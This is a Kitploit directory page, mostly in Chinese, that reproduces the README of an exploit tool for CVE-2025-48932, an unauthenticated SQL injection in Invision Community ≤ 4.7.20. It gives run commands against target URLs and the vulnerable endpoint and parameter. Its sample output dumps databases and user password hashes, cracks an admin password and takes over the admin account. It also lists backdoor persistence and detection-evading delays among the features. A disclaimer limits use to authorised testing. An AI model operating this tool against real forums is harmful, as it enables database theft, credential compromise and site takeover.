Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-48932-Invision-Community-SQLi-Exploit — CVE-2025-48932 - Unauthenticated SQL injection exploit for Invision Community ≤ 4.7.20. Fully automated exploitation with database enumeration, credential dumping, admin takeover, session hijacking & multi-threading. No dependencies required. Security research tool by Sudeepa Wanigarathna | Kitploit
工具/GitHubGitHub/cerberusmrxi/cve-2025-48932-invision-community-sqli-exploit
Password AttacksVulnerability AnalysisExploitationWeb Application ExploitationData ExfiltrationInformation GatheringPost-ExploitationWeb SecurityPenetration Testing

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →

关于

CVE-2025-48932 - Unauthenticated SQL injection exploit for Invision Community ≤ 4.7.20. Fully automated exploitation with database enumeration, credential dumping, admin takeover, session hijacking & multi-threading. No dependencies required. Security research tool by Sudeepa Wanigarathna

GitHubcerberusmrxi/cve-2025-48932-invision-community-sqli-exploit

CVE-2025-48932-Invision-Community-SQLi-Exploit

查看仓库
118天前尚未审核
分享

🔓 CVE-2025-48932 - Invision Community SQL 注入漏洞利用工具

Python Version License Security Status CVE Exploit-DB PRs Welcome Maintenance Hits


⚡ 严重漏洞概述

CVE-2025-48932 是 Invision Community 版本 ≤ 4.7.20 中存在的一个严重未认证盲 SQL 注入漏洞。该漏洞利用工具允许远程攻击者:

  • 🔍 提取敏感数据库信息
  • 👤 窃取用户凭据和密码哈希
  • 🔑 接管管理员账户
  • 🎯 劫持活跃用户会话
  • 💻 实现远程代码执行(RCE)(通过管理员接管)
  • 📊 转储整个数据库内容

🎯 功能特性


📊 演示与截图

漏洞利用执行

root@kitploit:~
$ python3 exploit.py -u https://vulnerable-site.com -v

╔══════════════════════════════════════════════════════════════════╗
║  CVE-2025-48932 - Invision Community SQL Injection               ║
║  Author: Sudeepa Wanigarathna                                    ║
║  Critical: Unauthenticated Remote Code Execution                 ║
╚══════════════════════════════════════════════════════════════════╝

[*] Target: https://vulnerable-site.com
[*] Performing vulnerability assessment...
[+] Target is confirmed VULNERABLE!

[*] Enumerating database information...
[+] Database Information:
  Version: 10.4.32-MariaDB
  User: invision@localhost
  Database: invision_community
  Hostname: localhost
  Basedir: /usr/
  Datadir: /var/lib/mysql/

[*] Enumerating databases...
[+] Found 5 databases
  Found: information_schema
  Found: invision_community
  Found: mysql
  Found: performance_schema
  Found: phpmyadmin

[*] Enumerating tables in invision_community...
[+] Found 12 tables
  Found: core_members
  Found: core_sessions
  Found: admin_members
  Found: cms_categories
  Found: forums_posts
  ...

[*] Searching for credentials...
[+] Found credential table: core_members
  Credentials: admin - $2y$10$abcdefghijklmnopqrstuvwxyz...
  Credentials: moderator - $2y$10$1234567890abcdefghijklmnop...
  Credentials: user123 - $2y$10$qwertyuiopasdfghjklzxcvbnm...

[*] Extracting admin information...
[+] Admin Information Found:
  name: admin
  email: [email protected]
  id: 1
  password_hash: $2y$10$abcdefghijklmnopqrstuvwxyz...

[*] Attempting to crack password hash...
[+] Detected hash type: bcrypt
[+] Password cracked: Admin@2024!

[*] Attempting admin bypass...
[+] Admin login successful!
[+] Credentials: admin:Admin@2024!

[+] Exploitation complete!
[+] Report saved to invision_exploit_report_1700000000.json

JSON 输出示例

root@kitploit:~
{
  "target": "https://vulnerable-site.com",
  "timestamp": "2026-08-02T12:34:56.789Z",
  "vulnerable": true,
  "database": {
    "version": "10.4.32-MariaDB",
    "user": "invision@localhost",
    "database": "invision_community",
    "hostname": "localhost"
  },
  "databases": [
    "information_schema",
    "invision_community",
    "mysql",
    "performance_schema",
    "phpmyadmin"
  ],
  "tables": [
    "core_members",
    "core_sessions",
    "admin_members"
  ],
  "credentials": [
    {
      "username": "admin",
      "password_hash": "$2y$10$abcdefghijklmnopqrstuvwxyz...",
      "email": "[email protected]"
    }
  ],
  "admin_info": {
    "name": "admin",
    "email": "[email protected]",
    "id": "1",
    "password_hash": "$2y$10$abcdefghijklmnopqrstuvwxyz..."
  },
  "summary": {
    "total_databases": 5,
    "total_tables": 12,
    "total_credentials": 3,
    "vulnerable": true,
    "successful": true
  }
}

🚀 快速入门指南

安装

root@kitploit:~
# 克隆仓库
git clone https://github.com/CerberusMrXi/CVE-2025-48932-Invision-Community-SQLi-Exploit.git
cd CVE-2025-48932-Invision-Community-SQLi-Exploit

# 无需安装任何依赖!直接运行即可。

基本用法

root@kitploit:~
# 检测目标是否存在漏洞
python3 exploit.py -u https://example.com --check-only

# 完整漏洞利用并输出详细信息
python3 exploit.py -u https://example.com -v

# 使用代理(Burp Suite)
python3 exploit.py -u https://example.com -p http://127.0.0.1:8080 -v

# 将结果保存到自定义文件
python3 exploit.py -u https://example.com -o results.json

# 多线程提取(更快)
python3 exploit.py -u https://example.com -t 10

# 转储所有可用数据
python3 exploit.py -u https://example.com --dump-all

高级用法

root@kitploit:~
# 使用自定义字典进行密码破解
python3 exploit.py -u https://example.com --wordlist rockyou.txt -v

# 静默模式(无输出,仅生成报告)
python3 exploit.py -u https://example.com -o silent_report.json

# 调试模式,输出详细的错误信息
python3 exploit.py -u https://example.com -v --debug

📋 环境要求

系统要求

  • Python:3.6 或更高版本
  • 操作系统:Linux、Windows、macOS(任何支持 Python 的操作系统)
  • 内存:占用极低(约 50MB RAM)
  • 存储:约 100KB(仅漏洞利用工具)

依赖

root@kitploit:~
✅ 无外部依赖!
✅ 仅需纯 Python 标准库!
✅ 无需 pip 安装或虚拟环境!

可选(用于密码破解)

  • 字典:rockyou.txt 或任何自定义字典
    root@kitploit:~
    # 下载常用字典
    wget https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
    

🛠️ 技术细节

漏洞位置

  • 文件:/applications/calendar/modules/front/calendar/view.php
  • 方法:IPS\calendar\modules\front\calendar\view::search()
  • 参数:location(用户提供的输入)
  • 类型:基于布尔的盲 SQL 注入

攻击向量

root@kitploit:~
GET /applications/calendar/modules/front/calendar/view.php?do=search&location=[SQL_INJECTION_PAYLOAD]

利用链

  1. 检测:基于布尔的注入检测
  2. 枚举:提取数据库结构
  3. 提取:转储敏感数据
  4. 凭据窃取:提取用户凭据
  5. 权限提升:接管管理员账户
  6. 会话劫持:窃取活跃会话
  7. 持久化:建立后门(可选)

支持的数据库版本

  • MySQL 5.0+
  • MariaDB 5.5+
  • Percona Server

🔒 安全与法律声明

⚠️ 重要免责声明

本工具仅用于教育和授权测试目的。

使用本工具即表示您同意:

  • 仅在您拥有或已获明确授权测试的系统上使用
  • 不得用于非法或恶意目的
  • 遵守所有适用的法律法规
  • 对自己的行为承担全部责任

未经授权访问计算机系统是非法且不道德的。

负责任的披露

  • 厂商:Invision Community
  • 披露时间:2025 年 5 月 16 日
  • 修复版本:4.7.21(2025 年 5 月 27 日)
  • CVE:已分配 CVE-2025-48932

📚 文档

漏洞利用参数

报告结构

root@kitploit:~
invision_exploit_report_[timestamp].json
├── target                 # 目标 URL
├── timestamp              # 漏洞利用时间戳
├── vulnerable             # 漏洞状态
├── database               # 数据库信息
├── databases              # 数据库列表
├── tables                 # 数据表列表
├── credentials            # 提取的凭据
├── admin_info             # 管理员用户信息
└── summary                # 漏洞利用摘要

🎯 使用场景

面向安全研究人员

  • ✅ 漏洞验证
  • ✅ 概念验证(PoC)开发
  • ✅ 安全评估
  • ✅ 漏洞赏金狩猎

面向渗透测试人员

  • ✅ 外部/内部渗透测试
  • ✅ 红队行动
  • ✅ 漏洞验证
  • ✅ 合规性测试

面向系统管理员

  • ✅ 自有系统安全审计
  • ✅ 补丁验证
  • ✅ 事件响应调查
  • ✅ 安全态势评估

🐛 故障排除

常见问题与解决方案

问题:连接超时

root@kitploit:~
# 解决方案:增加超时时间或检查网络
python3 exploit.py -u https://example.com --timeout 60

问题:SSL 证书错误

root@kitploit:~
# 解决方案:禁用 SSL 验证(不建议在生产环境中使用)
python3 exploit.py -u https://example.com --no-verify-ssl

问题:检测到速率限制

root@kitploit:~
# 解决方案:减少线程数并增加延迟
python3 exploit.py -u https://example.com -t 2 --delay 2

问题:未找到易受攻击的参数

root@kitploit:~
# 解决方案:确保已安装日历应用并启用 GeoLocation
# 检查:/applications/calendar/modules/front/calendar/view.php 是否存在

📖 参考资料

官方资源

  • CVE-2025-48932
  • Invision Community
  • Invision 安全公告
  • 原始通告

技术参考资料

  • OWASP SQL 注入
  • 盲 SQL 注入
  • MySQL 文档

相关 CVE

  • CVE-2024-xxxxx(以往的 Invision 漏洞)
  • CVE-2023-xxxxx(相关的社区平台 CVE)

🤝 贡献指南

欢迎贡献!请参阅我们的贡献指南。

如何贡献

  1. Fork 该仓库
  2. 创建功能分支(git checkout -b feature/AmazingFeature)
  3. 提交更改(git commit -m 'Add some AmazingFeature')
  4. 推送到分支(git push origin feature/AmazingFeature)
  5. 发起 Pull Request

报告问题

  • 🐛 错误报告
  • 💡 功能请求
  • 🔒 安全问题

👨‍💻 作者

Sudeepa Wanigarathna

安全研究员与漏洞赏金猎人

  • 🌐 GitHub
  • 🐦 Twitter
  • 💼 LinkedIn
  • 📧 电子邮件

📄 许可证

本项目基于 MIT 许可证 授权——详见 LICENSE 文件。

root@kitploit:~
MIT License

Copyright (c) 2026 Sudeepa Wanigarathna

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

⭐ 表达支持

如果这个项目对您有所帮助,或者您觉得它很有意思:

  • ⭐ Star 此仓库
  • 🔗 与您的社交网络分享
  • 📢 在您的安全研究中提及
  • 🤝 贡献以改进它

🙏 致谢

Sudeepa Wanigarathna

网络安全研究员 | 软件工程师 | CTF 工程师

本项目仅供安全研究、防御分析与授权渗透测试使用。使用者有责任遵守所有适用法律,并在使用前获得适当授权。

下载工具
功能描述状态
🚀 零依赖纯 Python 标准库——无需 pip 安装✅
⚡ 多线程可配置线程数的极速数据提取✅
🤖 全自动化从检测到报告的完整利用链✅
👑 管理员接管会话劫持与权限提升✅
🔑 凭据转储提取用户、密码哈希与电子邮件✅
🔓 密码破解内置哈希破解,支持字典✅
📋 JSON 报告用于分析与文档的结构化输出✅
🔌 代理支持Burp Suite 与自定义代理集成✅
🎨 彩色输出带进度指示器的美观终端输出✅
🛡️ 速率限制内置延迟以避免被检测✅
参数描述示例
-u, --url目标 URL(必填)-u https://example.com
-p, --proxy代理 URL-p http://127.0.0.1:8080
-t, --threads线程数(默认:5)-t 10
-o, --output结果输出文件-o results.json
-v, --verbose启用详细输出-v
--check-only仅检测漏洞--check-only
--dump-all转储所有可用数据--dump-all
--wordlist用于破解的字典文件--wordlist rockyou.txt